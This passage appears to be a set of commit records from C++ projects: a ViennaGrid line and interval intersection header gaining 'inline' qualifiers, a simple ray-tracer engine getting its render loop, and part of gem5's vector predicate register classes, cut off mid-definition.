std::make_pair(v0, w0);\n            \n            coord_type v_in_dir_distance = viennagrid::inner_prod(dir_v, dir_distance);\n            coord_type w_in_dir_distance = viennagrid::inner_prod(dir_w, dir_distance);\n            \n            coord_type s = (v_in_w * w_in_dir_distance - w_in_w * v_in_dir_distance);\n            coord_type t = (v_in_v * w_in_dir_distance - v_in_w * v_in_dir_distance);\n            \n            return point_in_interval(coord_type(0), denominator, tag1, s) && point_in_interval(coord_type(0), denominator, tag2, t);\n        }\n        \n        \n        \n        template<typename point_iterator_type, typename linestrip_tag_type, typename point_type, typename line_tag_type, typename numeric_config>\n        bool line_linestrip_intersect(point_iterator_type it1, const point_iterator_type & it_end, linestrip_tag_type linestrip_tag,\n                                      const point_type & p0, const point_type & p1, line_tag_type line_tag,\n                                      numeric_config nc )\n        {\n            if (it1 == it_end) return false;\n            point_iterator_type it2 = it1++;\n            \n            for (; it2 != it_end; ++it1, ++it2)\n            {\n                if (line_line_intersect( p0, p1, line_tag, *it1, *it2, linestrip_tag, nc ))\n                    return true;\n            }\n            \n            return false;        \n        }\n        \n        \n        template<typename point_iterator_type, typename linestrip_tag_type, typename point_type, typename line_tag_type, typename numeric_config>\n        bool line_polygon_intersect(point_iterator_type it1, point_iterator_type it_end, linestrip_tag_type linestrip_tag,\n                                    const point_type & p0, const point_type & p1, line_tag_type line_tag,\n                                    numeric_config nc )\n        {\n            if (line_linestrip_intersect(it1, it_end, linestrip_tag, p0, p1, line_tag, nc)) return true;\n            else return line_line_intersect( p0, p1, line_tag, *(--it_end), *it1, linestrip_tag, nc );\n        }\n      \n    }\n\n} \n\n#endif\n\n<commit_msg>added inline to solve linking problems<commit_after>#ifndef VIENNAGRID_ALGORITHM_INTERSECT_HPP\n#define VIENNAGRID_ALGORITHM_INTERSECT_HPP\n\n\/* =======================================================================\n   Copyright (c) 2011-2012, Institute for Microelectronics,\n                            Institute for Analysis and Scientific Computing,\n                            TU Wien.\n\n                            -----------------\n                     ViennaGrid - The Vienna Grid Library\n                            -----------------\n\n   Authors:      Karl Rupp                           rupp@iue.tuwien.ac.at\n                 Josef Weinbub                    weinbub@iue.tuwien.ac.at\n               \n   (A list of additional contributors can be found in the PDF manual)\n\n   License:      MIT (X11), see file LICENSE in the base directory\n======================================================================= *\/\n\n#include \"viennagrid\/forwards.hpp\"\n#include \"viennagrid\/algorithm\/numeric.hpp\"\n#include \"viennagrid\/algorithm\/inner_prod.hpp\"\n#include \"viennagrid\/algorithm\/norm.hpp\"\n\nnamespace viennagrid \n{\n  \n    namespace geometry\n    {\n\n        namespace interval\n        {\n        \n            struct open_tag {};\n            struct closed_tag {};\n            \n            \n            template<typename tag0, typename tag1>\n            open_tag intersect_tag( tag0, tag1 )\n            { return open_tag(); }\n            \n            inline closed_tag intersect_tag ( closed_tag, closed_tag )\n            { return closed_tag(); }\n            \n            inline bool is_open(open_tag) { return true; }\n            inline bool is_open(closed_tag) { return false; }\n            \n            inline bool is_closed(open_tag) { return false; }\n            inline bool is_closed(closed_tag) { return true; }\n            \n            struct open_open_tag\n            {\n                typedef open_tag first_tag;\n                typedef open_tag second_tag;\n            };\n            \n            struct open_closed_tag\n            {\n                typedef open_tag first_tag;\n                typedef closed_tag second_tag;\n            };\n            \n            struct closed_open_tag\n            {\n                typedef closed_tag first_tag;\n                typedef open_tag second_tag;\n            };\n            \n            struct closed_closed_tag\n            {\n                typedef closed_tag first_tag;\n                typedef closed_tag second_tag;\n            };\n            \n            template<typename dual_tag>\n            typename dual_tag::first_tag first_tag( dual_tag )\n            { return typename dual_tag::first_tag(); }\n            \n            template<typename dual_tag>\n            typename dual_tag::second_tag second_tag( dual_tag )\n            { return typename dual_tag::second_tag(); }\n            \n            inline open_open_tag make_tag( open_tag, open_tag )\n            { return open_open_tag(); }\n            \n            inline open_closed_tag make_tag( open_tag, closed_tag )\n            { return open_closed_tag(); }\n            \n            inline closed_open_tag make_tag( closed_tag, open_tag )\n            { return closed_open_tag(); }\n            \n            inline closed_closed_tag make_tag( closed_tag, closed_tag )\n            { return closed_closed_tag(); }\n\n            \n            template<typename numeric_type>\n            bool greater( numeric_type ref, numeric_type to_test, open_tag )\n            { return ref < to_test; }\n\n            template<typename numeric_type>\n            bool greater( numeric_type ref, numeric_type to_test, closed_tag )\n            { return ref <= to_test; }\n            \n            template<typename numeric_type>\n            bool less( numeric_type ref, numeric_type to_test, open_tag )\n            { return ref > to_test; }\n\n            template<typename numeric_type>\n            bool less( numeric_type ref, numeric_type to_test, closed_tag )\n            { return ref >= to_test; }\n            \n            \n            \n            \n            template<typename numeric_type, typename first_tag_type, typename second_tag_type>\n            bool point_in_interval( numeric_type first, first_tag_type first_tag, numeric_type second, second_tag_type second_tag, numeric_type to_test )\n            {\n                return (first <= second) ?\n                    (greater(first, to_test, first_tag) && less(second, to_test, second_tag)) :\n                    (greater(second, to_test, second_tag) && less(first, to_test, first_tag));\n            }\n            \n            template<typename numeric_type, typename dual_tag>\n            bool point_in_interval( numeric_type first, numeric_type second, dual_tag tag, numeric_type to_test )\n            {\n                return point_in_interval(first, first_tag(tag), second, second_tag(tag), to_test);\n            }\n            \n            \n            template<typename numeric_type, typename interval_0_tag_type, typename interval_1_tag_type>\n            bool interval_intersect(numeric_type first_0, numeric_type second_0, interval_0_tag_type interval_0_tag,\n                                    numeric_type first_1, numeric_type second_1, interval_1_tag_type interval_1_tag )\n            {\n                return point_in_interval( first_0, intersect_tag(first_tag(interval_0_tag), first_tag(interval_1_tag)), second_0, intersect_tag(second_tag(interval_0_tag), first_tag(interval_1_tag)), first_1 ) ||\n                    point_in_interval( first_0, intersect_tag(first_tag(interval_0_tag), second_tag(interval_1_tag)), second_0, intersect_tag(second_tag(interval_0_tag), second_tag(interval_1_tag)), second_1 ) ||\n                    point_in_interval( first_1, intersect_tag(first_tag(interval_1_tag), first_tag(interval_0_tag)), second_1, intersect_tag(second_tag(interval_1_tag), first_tag(interval_0_tag)), first_0 ) ||\n                    point_in_interval( first_1, intersect_tag(first_tag(interval_1_tag), second_tag(interval_0_tag)), second_1, intersect_tag(second_tag(interval_1_tag), second_tag(interval_0_tag)), second_0 ) ||\n                    ( (first_0 == first_1) && (second_0 == second_1) && (std::abs(second_0 - first_0) > 0) ) ||\n                    ( (first_0 == second_1) && (second_0 == first_1) && (std::abs(second_0 - first_0) > 0) );\n            }\n        \n        }\n        \n        \n        template<typename point_type, typename numeric_config, typename line_tag>\n        bool point_line_intersect(point_type const & p,\n                                  point_type const & q0, point_type const & q1, line_tag tag,\n                                  numeric_config nc )\n        {\n            typedef typename viennagrid::result_of::coord_type< point_type >::type coord_type;\n            typedef typename numeric::result_of::numeric_type<numeric_config, coord_type>::type inner_numeric_type;\n            \n            point_type dir = q1 - q0;\n            point_type lhs = p - q0;\n            \n            inner_numeric_type relative_eps = numeric::relative_tolerance(nc, viennagrid::norm_1(dir) );\n            \n\/\/             std::cout << \"  \" << dir[0] << \" \" << lhs [0] << std::endl;\n            \n            if ( norm_1(dir) < relative_eps )\n                return false;\n            \n            \n            if ( std::abs(dir[0] * lhs[1] - lhs[0] * dir[1]) < relative_eps )\n            {\n                return (std::abs(dir[0]) < relative_eps) ?\n                    interval::point_in_interval(coord_type(0), dir[1], tag, lhs[1]) :\n                    interval::point_in_interval(coord_type(0), dir[0], tag, lhs[0]);\n            }\n\n            return false;\n        }\n        \n        \n        \n        template <typename point_type, typename numeric_config, typename line1_tag, typename line2_tag>\n        bool line_line_intersect(point_type const & v0, point_type const & v1, line1_tag tag1, \/\/endpoints of first line\n                                 point_type const & w0, point_type const & w1, line2_tag tag2, \/\/endpoints of second line\n                                 numeric_config nc )\n        {\n            \/\/typedef point_t<CoordType, CoordinateSystem>  PointType;\n            typedef typename viennagrid::result_of::coord_type< point_type >::type coord_type;\n            typedef typename numeric::result_of::numeric_type<numeric_config, coord_type>::type inner_numeric_type;\n\n            \/\/ write V(s) = v0 + s * (v1 - v0), s \\in [0,1]\n            \/\/       W(t) = w0 + t * (w1 - w0), t \\in [0,1]\n            \n            \/\/ compute s and t assuming V(s) and W(t) to be infinite lines:\n            \/\/ cf. http:\/\/www.softsurfer.com\/Archive\/algorithm_0106\/algorithm_0106.htm\n            point_type dir_v = v1 - v0;  \/\/direction vector for line V(s)\n            point_type dir_w = w1 - w0;  \/\/direction vector for line W(t)\n            \n            \n            \n            coord_type v_in_v = viennagrid::inner_prod(dir_v, dir_v);\n            coord_type v_in_w = viennagrid::inner_prod(dir_v, dir_w);\n            coord_type w_in_w = viennagrid::inner_prod(dir_w, dir_w);\n            \n            coord_type denominator = v_in_v * w_in_w - v_in_w * v_in_w;\n\/\/             std::cout << \"denominator: \" << denominator << std::endl;\n                                    \n            if ( std::abs(denominator) < numeric::relative_tolerance(nc, v_in_v * w_in_w) ) \/\/lines parallel (up to round-off)\n            {\n                point_type lhs_v = w0 - v0;\n                inner_numeric_type relative_eps = numeric::relative_tolerance(nc, viennagrid::norm_1(dir_v) );\n                \n                if ( std::abs(dir_v[0] * lhs_v[1] - lhs_v[0] * dir_v[1]) < relative_eps ) \/\/ lines share a common ray\n                {\n                    std::size_t index = (std::abs(dir_v[0]) < relative_eps) ? 1 : 0;\n\n                    coord_type w_first = lhs_v[index];\n                    coord_type w_second = w1[index] - v0[index];\n                        \n                    return interval::interval_intersect( coord_type(0), dir_v[index], tag1, w_first, w_second, tag2 );\n                }\n                else\n                    return false;\n            }\n\n            \/\/Lines are not parallel: Compute minimizers s, t:\n            point_type dir_distance = v0 - w0;  \/\/any vector connecting two points on V and W\n            \n            \/\/if (inner_prod(dir_distance, dir_distance) \/ v_in_v < 1e-10)  \/\/v0 and w0 are the same point\n            \/\/  return std::make_pair(v0, w0);\n            \n            coord_type v_in_dir_distance = viennagrid::inner_prod(dir_v, dir_distance);\n            coord_type w_in_dir_distance = viennagrid::inner_prod(dir_w, dir_distance);\n            \n            coord_type s = (v_in_w * w_in_dir_distance - w_in_w * v_in_dir_distance);\n            coord_type t = (v_in_v * w_in_dir_distance - v_in_w * v_in_dir_distance);\n            \n            return point_in_interval(coord_type(0), denominator, tag1, s) && point_in_interval(coord_type(0), denominator, tag2, t);\n        }\n        \n        \n        \n        template<typename point_iterator_type, typename linestrip_tag_type, typename point_type, typename line_tag_type, typename numeric_config>\n        bool line_linestrip_intersect(point_iterator_type it1, const point_iterator_type & it_end, linestrip_tag_type linestrip_tag,\n                                      const point_type & p0, const point_type & p1, line_tag_type line_tag,\n                                      numeric_config nc )\n        {\n            if (it1 == it_end) return false;\n            point_iterator_type it2 = it1++;\n            \n            for (; it2 != it_end; ++it1, ++it2)\n            {\n                if (line_line_intersect( p0, p1, line_tag, *it1, *it2, linestrip_tag, nc ))\n                    return true;\n            }\n            \n            return false;        \n        }\n        \n        \n        template<typename point_iterator_type, typename linestrip_tag_type, typename point_type, typename line_tag_type, typename numeric_config>\n        bool line_polygon_intersect(point_iterator_type it1, point_iterator_type it_end, linestrip_tag_type linestrip_tag,\n                                    const point_type & p0, const point_type & p1, line_tag_type line_tag,\n                                    numeric_config nc )\n        {\n            if (line_linestrip_intersect(it1, it_end, linestrip_tag, p0, p1, line_tag, nc)) return true;\n            else return line_line_intersect( p0, p1, line_tag, *(--it_end), *it1, linestrip_tag, nc );\n        }\n      \n    }\n\n} \n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Init allocated SkBitmap pixels<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <limits>\n#include <vector>\n#include \"Engine.h\"\n#include \"Sphere.h\"\n\nEngine::Engine()\n{\n\tlastRow = nullptr;\n}\n\n\nEngine::~Engine()\n{\n\tdelete [] lastRow;\n}\n\nvoid Engine::setTarget(Pixel *dest, unsigned int width, unsigned int height)\n{\n\tthis->dest = dest;\n\tthis->width = width;\n\tthis->height = height;\n}\n\nconst Scene &Engine::getScene(void) const\n{\n\treturn scene;\n}\n\nPrimitive *Engine::raytrace(const Ray &ray, Color &acc, unsigned int depth, double rIndex, double &dist)\n{\n\tif (depth > TRACEDEPTH) return nullptr;\n\t\/\/ trace primary ray\n\tdist = std::numeric_limits<double>::max();\n\tVector3 pi;\n\tprimitives &primitives = scene.getPrimitives();\n\tPrimitive *prim = nullptr;\n\t\n\thitStatus result;\n\n\t\/\/ find the nearest intersection\n\tfor (primitives::iterator s = primitives.begin(); s != primitives.end(); s++)\n\t{\n\t\thitStatus res;\n\t\tif ((res = (*s)->Intersect(ray, dist)) != MISS)\n\t\t{\n\t\t\tprim = s->get();\n\t\t\tresult = res; \/\/ 0 = miss, 1 = hit, -1 = hit from inside primitive\n\t\t}\n\t}\n\n\t\/\/ no hit, terminate ray\n\tif (!prim) return nullptr;\n\n\t\/\/ handle intersection\n\tif (prim->isLight())\n\t{\n\t\t\/\/ we hit a light, stop tracing\n\t\tacc = Color(1.0, 1.0, 1.0);\n\t}\n\telse\n\t{\n\t\t\/\/ determine color at point of intersection\n\t\tpi = ray.getOrigin() + (ray.getDirection() * dist);\n\n\t\t\/\/ trace lights\n\t\tfor (primitives::iterator l = primitives.begin(); l != primitives.end(); l++)\n\t\t{\n\t\t\tif ((*l)->isLight())\n\t\t\t{\n\t\t\t\tPrimitive* light = l->get();\n\n\t\t\t\t\/\/ calculate diffuse shading\n\t\t\t\tVector3 L = ((Sphere *)light)->getCenter() - pi;\n\t\t\t\tL.normalize();\n\t\t\t\tVector3 N = prim->getNormal(pi);\n\t\t\t\tif (prim->getMaterial().getDiffuse() > 0)\n\t\t\t\t{\n\t\t\t\t\tdouble dot = N * L;\n\t\t\t\t\tif (dot > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tdouble diff = dot * prim->getMaterial().getDiffuse();\n\t\t\t\t\t\t\/\/ add diffuse component to ray color\n\t\t\t\t\t\tacc += diff * (prim->getMaterial().getColor() * light->getMaterial().getColor());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\/\/ return pointer to primitive hit by primary ray\n\treturn prim;\n}\n\nvoid Engine::initRender(void)\n{\n\t\/\/ set first line to draw to\n\tcurrLine = 20;\n\t\/\/ set pixel buffer address of first pixel\n\tppos = 20 * width;\n\t\/\/ screen plane in world space coordinates\n\tWX1 = -4.0;\n\tWX2 = 4.0;\n\tWY1 = SY = 3.0;\n\tWY2 = -3.0;\n\t\/\/ calculate deltas for interpolation\n\tDX = (WX2 - WX1) \/ width;\n\tDY = (WY2 - WY1) \/ height;\n\tSY += 20 * DY;\n\n\t\/\/ allocate space to store pointers to primitives for previous line\n\tlastRow = new Primitive*[width];\n\tmemset(lastRow, 0, width * sizeof(Primitive *));\n}\n\nbool Engine::render(void)\n{\n\t\/\/ TODO\n\treturn false;\n}<commit_msg>WIP: Engine render code<commit_after>#include <limits>\n#include <vector>\n#include \"Engine.h\"\n#include \"Sphere.h\"\n\nEngine::Engine()\n{\n\tlastRow = nullptr;\n}\n\n\nEngine::~Engine()\n{\n\tdelete [] lastRow;\n}\n\nvoid Engine::setTarget(Pixel *dest, unsigned int width, unsigned int height)\n{\n\tthis->dest = dest;\n\tthis->width = width;\n\tthis->height = height;\n}\n\nconst Scene &Engine::getScene(void) const\n{\n\treturn scene;\n}\n\nPrimitive *Engine::raytrace(const Ray &ray, Color &acc, unsigned int depth, double rIndex, double &dist)\n{\n\tif (depth > TRACEDEPTH) return nullptr;\n\t\/\/ trace primary ray\n\tdist = std::numeric_limits<double>::max();\n\tVector3 pi;\n\tprimitives &primitives = scene.getPrimitives();\n\tPrimitive *prim = nullptr;\n\t\n\thitStatus result;\n\n\t\/\/ find the nearest intersection\n\tfor (primitives::iterator s = primitives.begin(); s != primitives.end(); s++)\n\t{\n\t\thitStatus res;\n\t\tif ((res = (*s)->Intersect(ray, dist)) != MISS)\n\t\t{\n\t\t\tprim = s->get();\n\t\t\tresult = res; \/\/ 0 = miss, 1 = hit, -1 = hit from inside primitive\n\t\t}\n\t}\n\n\t\/\/ no hit, terminate ray\n\tif (!prim) return nullptr;\n\n\t\/\/ handle intersection\n\tif (prim->isLight())\n\t{\n\t\t\/\/ we hit a light, stop tracing\n\t\tacc = Color(1.0, 1.0, 1.0);\n\t}\n\telse\n\t{\n\t\t\/\/ determine color at point of intersection\n\t\tpi = ray.getOrigin() + (ray.getDirection() * dist);\n\n\t\t\/\/ trace lights\n\t\tfor (primitives::iterator l = primitives.begin(); l != primitives.end(); l++)\n\t\t{\n\t\t\tif ((*l)->isLight())\n\t\t\t{\n\t\t\t\tPrimitive* light = l->get();\n\n\t\t\t\t\/\/ calculate diffuse shading\n\t\t\t\tVector3 L = ((Sphere *)light)->getCenter() - pi;\n\t\t\t\tL.normalize();\n\t\t\t\tVector3 N = prim->getNormal(pi);\n\t\t\t\tif (prim->getMaterial().getDiffuse() > 0)\n\t\t\t\t{\n\t\t\t\t\tdouble dot = N * L;\n\t\t\t\t\tif (dot > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tdouble diff = dot * prim->getMaterial().getDiffuse();\n\t\t\t\t\t\t\/\/ add diffuse component to ray color\n\t\t\t\t\t\tacc += diff * (prim->getMaterial().getColor() * light->getMaterial().getColor());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\/\/ return pointer to primitive hit by primary ray\n\treturn prim;\n}\n\nvoid Engine::initRender(void)\n{\n\t\/\/ set first line to draw to\n\tcurrLine = 20;\n\t\/\/ set pixel buffer address of first pixel\n\tppos = 20 * width;\n\t\/\/ screen plane in world space coordinates\n\tWX1 = -4.0;\n\tWX2 = 4.0;\n\tWY1 = SY = 3.0;\n\tWY2 = -3.0;\n\t\/\/ calculate deltas for interpolation\n\tDX = (WX2 - WX1) \/ width;\n\tDY = (WY2 - WY1) \/ height;\n\tSY += 20 * DY;\n\n\t\/\/ allocate space to store pointers to primitives for previous line\n\tlastRow = new Primitive*[width];\n\tmemset(lastRow, 0, width * sizeof(Primitive *));\n}\n\nbool Engine::render(void)\n{\n\t\/\/ render scene\n\tVector3 o(0.0, 0.0, -5.0);\n\n\t\/\/ initialize timer\n\t\/\/ TODO portable way to get time or at least a define\n\t\/\/ int msecs = GetTickCount();\n\n\t\/\/ reset last found primitive pointer\n\tPrimitive* lastprim = nullptr;\n\n\t\/\/ render remaining lines\n\tfor (unsigned int y = currLine; y < (height - 20); y++)\n\t{\n\t\tSX = WX1;\n\t\t\/\/ render pixels for current line\n\t\tfor (unsigned int x = 0; x < width; x++)\n\t\t{\n\t\t\t\/\/ fire primary ray\n\t\t\tColor acc(0.0, 0.0, 0.0);\n\t\t\tVector3 dir = Vector3(SX, SY, 0) - o;\n\t\t\tdir.normalize();\n\t\t\tRay r(o, dir);\n\t\t\tdouble dist;\n\t\t\tPrimitive* prim = raytrace(r, acc, 1, 1.0f, dist);\n\t\t\tint red = (int)(acc.R() * 256);\n\t\t\tint green = (int)(acc.G() * 256);\n\t\t\tint blue = (int)(acc.B() * 256);\n\t\t\tif (red > 255) red = 255;\n\t\t\tif (green > 255) green = 255;\n\t\t\tif (blue > 255) blue = 255;\n\t\t\tdest[ppos++] = (red << 16) + (green << 8) + blue;\n\t\t\tSX += DX;\n\t\t}\n\t\tSY += DY;\n\t\t\n\t\t\/\/ see if we've been working to long already\n\t\t\/\/ TODO\n\t\t\/\/if ((GetTickCount() - msecs) > 100)\n\t\t\/\/{\n\t\t\/\/\t\/\/ return control to windows so the screen gets updated\n\t\t\/\/\tm_CurrLine = y + 1;\n\t\t\/\/\treturn false;\n\t\t\/\/}\n\t}\n\t\/\/ all done\n\treturn true;\n}<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2017 ARM Limited\n\/\/ All rights reserved\n\/\/\n\/\/ The license below extends only to copyright in the software and shall\n\/\/ not be construed as granting a license to any other intellectual\n\/\/ property including but not limited to intellectual property relating\n\/\/ to a hardware implementation of the functionality of the software\n\/\/ licensed hereunder.  You may use the software subject to the license\n\/\/ terms below provided that you ensure that this notice is replicated\n\/\/ unmodified and in its entirety in all distributions of the software,\n\/\/ modified or unmodified, in source code or in binary form.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met: redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer;\n\/\/ redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution;\n\/\/ neither the name of the copyright holders nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#ifndef __ARCH_GENERIC_VEC_PRED_REG_HH__\n#define __ARCH_GENERIC_VEC_PRED_REG_HH__\n\n#include <array>\n#include <cassert>\n#include <vector>\n\n#include \"arch\/generic\/vec_reg.hh\"\n#include \"base\/cprintf.hh\"\n#include \"sim\/serialize_handlers.hh\"\n\ntemplate <size_t NumBits, bool Packed>\nclass VecPredRegContainer;\n\n\/\/\/ Predicate register view.\n\/\/\/\n\/\/\/ This generic class implements the View in an MVC pattern, similarly to\n\/\/\/ @see VecRegT. Since predicates are mainly used in conjunction with vectors\n\/\/\/ to specify which lanes are active in a vector operation, the class is\n\/\/\/ templated on the vector element type to simplify ISA definitions.\n\/\/\/ @tparam VecElem Type of the vector elements.\n\/\/\/ @tparam NumElems Number of vector elements making up the view.\n\/\/\/ @tparam Packed True if the predicate register relies on a packed\n\/\/\/ representation, i.e. adjacent bits refer to different vector elements\n\/\/\/ irrespective of the vector element size (e.g. this is the case for\n\/\/\/ AVX-512). If false, the predicate register relies on an unpacked\n\/\/\/ representation, where each bit refers to the corresponding byte in a vector\n\/\/\/ register (e.g. this is the case for ARM SVE).\n\/\/\/ @tparam Const True if the underlying container can be modified through\n\/\/\/ the view.\ntemplate <typename VecElem, size_t NumElems, bool Packed, bool Const>\nclass VecPredRegT\n{\n  protected:\n    \/\/\/ Size of the register in bits.\n    static constexpr size_t NUM_BITS = Packed ? NumElems :\n                                                sizeof(VecElem) * NumElems;\n\n  public:\n    \/\/\/ Container type alias.\n    using Container = typename std::conditional_t<\n        Const,\n        const VecPredRegContainer<NUM_BITS, Packed>,\n        VecPredRegContainer<NUM_BITS, Packed>>;\n\n  protected:\n    \/\/ Alias for this type\n    using MyClass = VecPredRegT<VecElem, NumElems, Packed, Const>;\n    \/\/\/ Container corresponding to this view.\n    Container& container;\n\n  public:\n    VecPredRegT(Container& c) : container(c) {}\n\n    \/\/\/ Reset the register to an all-false value.\n    template<bool Condition = !Const>\n    std::enable_if_t<Condition> reset() { container.reset(); }\n\n    \/\/\/ Reset the register to an all-true value.\n    template<bool Condition = !Const>\n    std::enable_if_t<Condition> set() { container.set(); }\n\n    template<bool Condition = !Const>\n    std::enable_if_t<Condition, MyClass&>\n    operator=(const MyClass& that)\n    {\n        container = that.container;\n        return *this;\n    }\n\n    const bool&\n    operator[](size_t idx) const\n    {\n        return container[idx * (Packed ? 1 : sizeof(VecElem))];\n    }\n\n    template<bool Condition = !Const>\n    std::enable_if_t<Condition, bool&>\n    operator[](size_t idx)\n    {\n        return container[idx * (Packed ? 1 : sizeof(VecElem))];\n    }\n\n    \/\/\/ Return an element of the predicate register as it appears\n    \/\/\/ in the raw (untyped) internal representation\n    uint8_t\n    getRaw(size_t idx) const\n    {\n        return container.getBits(idx * (Packed ? 1 : sizeof(VecElem)),\n                (Packed ? 1 : sizeof(VecElem)));\n    }\n\n    \/\/\/ Write a raw value in an element of the predicate register\n    template<bool Condition = !Const>\n    std::enable_if_t<Condition>\n    setRaw(size_t idx, uint8_t val)\n    {\n        container.setBits(idx * (Packed ? 1 : sizeof(VecElem)),\n                (Packed ? 1 : sizeof(VecElem)), val);\n    }\n\n    \/\/\/ Equality operator, required to compare thread contexts.\n    template<typename VE2, size_t NE2, bool P2, bool C2>\n    bool\n    operator==(const VecPredRegT<VE2, NE2, P2, C2>& that) const\n    {\n        return container == that.container;\n    }\n\n    \/\/\/ Inequality operator, required to compare thread contexts.\n    template<typename VE2, size_t NE2, bool P2, bool C2>\n    bool\n    operator!=(const VecPredRegT<VE2, NE2, P2, C2>& that) const\n    {\n        return !operator==(that);\n    }\n\n    friend std::ostream&\n    operator<<(std::ostream& os, const MyClass& p)\n    {\n        \/\/ Size must be greater than 0.\n        for (int i = 0; i < NUM_BITS; i++)\n            ccprintf(os, \"%s%d\", i ? \" \" : \"[\", (int)p.container[i]);\n        ccprintf(os, \"]\");\n        return os;\n    }\n\n    \/\/\/ Returns true if the first active element of the register is true.\n    \/\/\/ @param mask Input mask used to filter the predicates to be tested.\n    \/\/\/ @param actual_num_elems Actual number of vector elements considered for\n    \/\/\/ the test (corresponding to the current vector length).\n    template <bool MC>\n    bool\n    firstActive(const VecPredRegT<VecElem, NumElems, Packed, MC>& mask,\n                size_t actual_num_elems) const\n    {\n        assert(actual_num_elems <= NumElems);\n        for (int i = 0; i < actual_num_elems; ++i) {\n            if (mask[i]) {\n                return (*this)[i];\n            }\n        }\n        return false;\n    }\n\n    \/\/\/ Returns true if there are no active elements in the register.\n    \/\/\/ @param mask Input mask used to filter the predicates to be tested.\n    \/\/\/ @param actual_num_elems Actual number of vector elements considered for\n    \/\/\/ the test (corresponding to the current vector length).\n    template <bool MC>\n    bool\n    noneActive(const VecPredRegT<VecElem, NumElems, Packed, MC>& mask,\n               size_t actual_num_elems) const\n    {\n        assert(actual_num_elems <= NumElems);\n        for (int i = 0; i < actual_num_elems; ++i) {\n            if (mask[i] && operator[](i)) {\n                return false;\n            }\n        }\n        return true;\n    }\n\n    \/\/\/ Returns true if the last active element of the register is true.\n    \/\/\/ @param mask Input mask used to filter the predicates to be tested.\n    \/\/\/ @param actual_num_elems Actual number of vector elements considered for\n    \/\/\/ the test (corresponding to the current vector length).\n    template <bool MC>\n    bool\n    lastActive(const VecPredRegT<VecElem, NumElems, Packed, MC>& mask,\n               size_t actual_num_elems) const\n    {\n        assert(actual_num_elems <= NumElems);\n        for (int i = actual_num_elems - 1; i >= 0; --i) {\n            if (mask[i]) {\n                return operator[](i);\n            }\n        }\n        return false;\n    }\n};\n\n\/\/\/ Generic predicate register container.\n\/\/\/\n\/\/\/ This generic class implements the Model in an MVC pattern, similarly to\n\/\/\/ @see VecRegContainer.\n\/\/\/ @tparam NumBits Size of the container in bits.\n\/\/\/ @tparam Packed See @VecRegT.\ntemplate <size_t NumBits, bool Packed>\nclass VecPredRegContainer\n{\n    static_assert(NumBits > 0,\n                  \"Size of a predicate register must be > 0\");\n\n  public:\n    static constexpr size_t NUM_BITS = NumBits;\n    using Container = std::array<bool, NumBits>;\n\n  private:\n    Container container;\n    \/\/ Alias for this type\n    using MyClass = VecPredRegContainer<NumBits, Packed>;\n\n  public:\n    VecPredRegContainer() {}\n    VecPredRegContainer(const VecPredRegContainer &) = default;\n\n    MyClass&\n    operator=(const MyClass& that)\n    {\n        if (&that == this)\n            return *this;\n        container = that.container;\n        return *this;\n    }\n\n    \/\/\/ Required for de-serialization.\n    MyClass&\n    operator=(const std::vector<uint8_t>& that)\n    {\n        assert(that.size() == NUM_BITS);\n        std::copy(that.begin(), that.end(), container.begin());\n        return *this;\n    }\n\n    \/\/\/ Resets the predicate register to an all-false register.\n    void\n    reset()\n    {\n        container.fill(false);\n    }\n\n    \/\/\/ Sets the predicate register to an all-true value.\n    void\n    set()\n    {\n        container.fill(true);\n    }\n\n    \/\/\/ Equality operator, required to compare thread contexts.\n    template<size_t N2, bool P2>\n    inline bool\n    operator==(const VecPredRegContainer<N2, P2>& that) const\n    {\n        return NumBits == N2 && Packed == P2 && container == that.container;\n    }\n\n    \/\/\/ Inequality operator, required to compare thread contexts.\n    template<size_t N2, bool P2>\n    bool\n    operator!=(const VecPredRegContainer<N2, P2>& that) const\n    {\n        return !operator==(that);\n    }\n\n    \/\/\/ Returns a reference to a specific element of the internal container.\n    bool& operator[](size_t idx) { return container[idx]; }\n\n    \/\/\/ Returns a const reference to a specific element of the internal\n    \/\/\/ container.\n    const bool& operator[](size_t idx) const { return container[idx]; }\n\n    \/\/\/ Returns a subset of bits starting from a specific element in the\n    \/\/\/ container.\n    uint8_t\n    getBits(size_t idx, uint8_t nbits) const\n    {\n        assert(nbits > 0 && nbits <= 8 && (idx + nbits - 1) < NumBits);\n        uint8_t v = 0;\n        idx = idx + nbits - 1;\n        for (int i = 0; i < nbits; ++i, --idx) {\n            v <<= 1;\n            v |= container[idx];\n        }\n        return v;\n    }\n\n    \/\/\/ Set a subset of bits starting from a specific element in the\n    \/\/\/ container.\n    void\n    